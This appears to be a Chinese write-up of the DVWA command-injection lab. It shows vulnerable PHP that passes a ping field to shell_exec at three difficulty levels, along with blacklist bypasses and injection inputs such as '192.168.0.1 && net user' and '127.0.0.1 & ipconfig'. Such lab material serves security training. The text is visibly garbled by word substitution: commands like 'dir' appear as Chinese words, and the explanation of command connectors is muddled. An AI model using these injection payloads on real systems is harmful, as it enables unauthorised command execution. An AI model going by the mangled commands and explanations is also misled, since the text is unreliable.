命令连接符
command1 && command2 先实行命令1后实行命令2
命令1 |命令2 只实行命令2
command1 & command2 先实行命令2后实行命令1
以上三种连接符在windows和linux环境下都支持
难度(低)
审计代码
<?phpif( isset( $_POST[ 'Submit' ] ) ) { // Get input $target = $_REQUEST[ 'ip' ]; // Determine OS and execute the ping command. if( stristr( php_uname( 's' ), 'Windows NT' ) ) { // Windows $cmd = shell_exec( 'ping ' . $target ); } else { // nix $cmd = shell_exec( 'ping -c 4 ' . $target ); } // Feedback for the end user echo "<pre>{$cmd}</pre>";}?>
可以创造直接针对操作系统类型进行ping,没有对输入的数据作出任何过滤,非常危险。
开始操作:
选择命令注入模块
在文本框里输入"192.168.0.1 && net user",得到以下系统中所有的用户
创造乱码,
乱码办理方法:
办理此问题的方法:在DVWA-master\dvwa\include目录下找到dvwaPage.inc.php文件中所有的"charset=utf-8",修正"charset=gb2312",即可
显示效果
192.168.0.1 && net user
难度(中)代码审计
<?phpif( isset( $_POST[ 'Submit' ] ) ) { // Get input $target = $_REQUEST[ 'ip' ]; // Set blacklist $substitutions = array( '&&' => '', ';' => '', ); // Remove any of the charactars in the array (blacklist). $target = str_replace( array_keys( $substitutions ), $substitutions, $target ); // Determine OS and execute the ping command. if( stristr( php_uname( 's' ), 'Windows NT' ) ) { // Windows $cmd = shell_exec( 'ping ' . $target ); } else { // nix $cmd = shell_exec( 'ping -c 4 ' . $target ); } // Feedback for the end user echo "<pre>{$cmd}</pre>";}?>
可以看到,比较Low级别的代码,做事器端对ip参数做了一定过滤,即把"&" 、";"删除,实质上采取的是黑名单机制,因此依旧存在安全问题。
漏洞利用
输入127.0.0.1 |迪尔
127.0.0.1 & ipconfig
难度(高)代码审计
<?phpif( isset( $_POST[ 'Submit' ] ) ) { // Get input $target = trim($_REQUEST[ 'ip' ]); // Set blacklist $substitutions = array( '&' => '', ';' => '', '| ' => '', '-' => '', '$' => '', '(' => '', ')' => '', '`' => '', '||' => '', ); // Remove any of the charactars in the array (blacklist). $target = str_replace( array_keys( $substitutions ), $substitutions, $target ); // Determine OS and execute the ping command. if( stristr( php_uname( 's' ), 'Windows NT' ) ) { // Windows $cmd = shell_exec( 'ping ' . $target ); } else { // nix $cmd = shell_exec( 'ping -c 4 ' . $target ); } // Feedback for the end user echo "<pre>{$cmd}</pre>";}?>
比较Medium级别的代码,High级别的代码进一步完善了黑名单,但由于黑名单机制的局限性,我们依然可以绕过。
黑名单看似过滤了所有的造孽字符,但仔细不雅观察到是把|(把稳这里|后有一个空格)更换为空字符,于是 |成了"漏网之鱼"。
漏洞利用
127.0.0.1|目录